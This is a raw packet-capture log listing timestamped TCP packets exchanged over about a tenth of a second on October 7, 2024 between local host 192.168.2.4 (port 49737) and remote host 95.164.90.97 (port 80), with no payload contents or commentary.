Oct 7, 2024 03:15:39.444977045 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.444986105 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445017099 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445033073 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.445050955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445060968 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.445091009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.445103884 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445137978 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445152044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.445173025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445183992 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.445208073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445220947 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.445242882 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445251942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.445276976 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445288897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.445313931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445347071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445362091 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.445382118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445384979 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.445398092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.445415974 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445436001 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.445451021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445466995 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.445487022 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445504904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.445540905 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.445708036 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445761919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.445858955 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445909977 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445925951 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.445944071 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445952892 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.445979118 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.445991039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.446013927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.446026087 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.446048021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.446064949 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.446083069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.446094036 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.446120024 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.446130991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.446166039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.446360111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.446408987 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.446414948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.446448088 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.446460009 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.446485043 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.446489096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.446525097 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.446537971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.446588993 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.446620941 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.446620941 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.446634054 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.446655989 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.446669102 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.446691990 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.446701050 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.446731091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.446737051 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.446763039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.446775913 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.446803093 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.446806908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.446847916 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.447190046 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.447244883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.447246075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.447288990 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.447299004 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.447339058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.447343111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.447396040 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.447417021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.447462082 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.447470903 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.447504997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.447520018 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.447539091 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.447546005 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.447573900 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.447585106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.447608948 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.447618961 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.447640896 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.447654963 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.447674990 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.447681904 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.447712898 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.447721958 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.447760105 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.448101997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.448156118 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.448158026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.448193073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.448205948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.448231936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.448247910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.448281050 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.448293924 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.448324919 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.448337078 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.448375940 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.448398113 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.448410988 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.448422909 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.448445082 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.448457956 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.448482037 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.448491096 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.448517084 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.448529005 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.448554039 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.448558092 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.448590040 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.448597908 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.448632956 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.448985100 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.449048042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.449084997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.449120045 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.449131966 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.449165106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.449239969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.449273109 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.449295044 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.449306965 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.449318886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.449341059 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.449351072 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.449377060 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.449384928 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.449412107 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.449423075 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.449449062 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.449456930 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.449484110 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.449500084 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.449518919 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.449532986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.449558020 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.449563026 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.449603081 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.449935913 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.449971914 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.449996948 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.450007915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.450012922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.450052977 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.531310081 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.531352997 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.531435966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.531475067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.531476974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.531476974 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.531510115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.531524897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.531524897 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.531546116 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.531552076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.531579971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.531610012 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.531615019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.531629086 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.531649113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.531653881 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.531683922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.531702042 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.531721115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.531728029 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.531765938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.554857969 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.554918051 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.554928064 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555021048 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555032015 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555080891 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555085897 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555119991 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555138111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555161953 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555169106 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555197954 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555208921 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555233002 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555237055 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555263042 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555286884 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555295944 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555318117 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555362940 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555372000 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555419922 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555445910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555497885 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555500031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555533886 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555543900 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555567980 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555579901 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555617094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555623055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555671930 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555680990 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555721998 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555736065 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555774927 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555780888 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555809021 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555819035 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555844069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555852890 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555876970 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555893898 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555913925 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555922985 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555948019 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555958986 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.555983067 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.555988073 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556026936 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556036949 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556082964 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556091070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556123972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556137085 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556168079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556175947 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556210995 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556219101 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556246996 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556253910 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556293011 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556298971 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556334972 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556343079 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556368113 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556379080 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556404114 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556417942 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556441069 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556447983 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556479931 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556488991 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556515932 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556546926 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556550026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556561947 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556585073 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556600094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556619883 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556626081 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556653023 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556662083 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556688070 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556693077 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556725025 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556735039 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556768894 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556770086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556811094 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556821108 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556854963 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556868076 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556910038 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556937933 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556945086 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.556966066 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.556982994 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.557002068 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.557037115 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.557050943 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.557070017 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.557081938 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.557104111 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.557113886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.557137966 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.557147980 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.557173014 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.557188988 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.557208061 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.557219982 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.557241917 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.557249069 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.557276011 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.557297945 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.557311058 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.557324886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.557346106 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.557357073 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.557380915 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.557395935 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.557414055 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.557424068 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.557450056 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.557459116 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.557483912 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.557499886 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.557518959 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.557528019 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.557553053 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.557565928 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.557596922 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.557600975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.557636976 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.562521935 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.562551975 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.562587976 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.562604904 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.562608957 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.562640905 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.562652111 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.562680960 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.562695026 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.562740088 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.562748909 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.562784910 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.562793970 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.562829971 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.562839031 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.562874079 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.562879086 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.562907934 CEST	80	49737	95.164.90.97	192.168.2.4
Oct 7, 2024 03:15:39.562937975 CEST	49737	80	192.168.2.4	95.164.90.97
Oct 7, 2024 03:15:39.562941074 CEST	80	49737	95.164.90.97	192.168.2.4
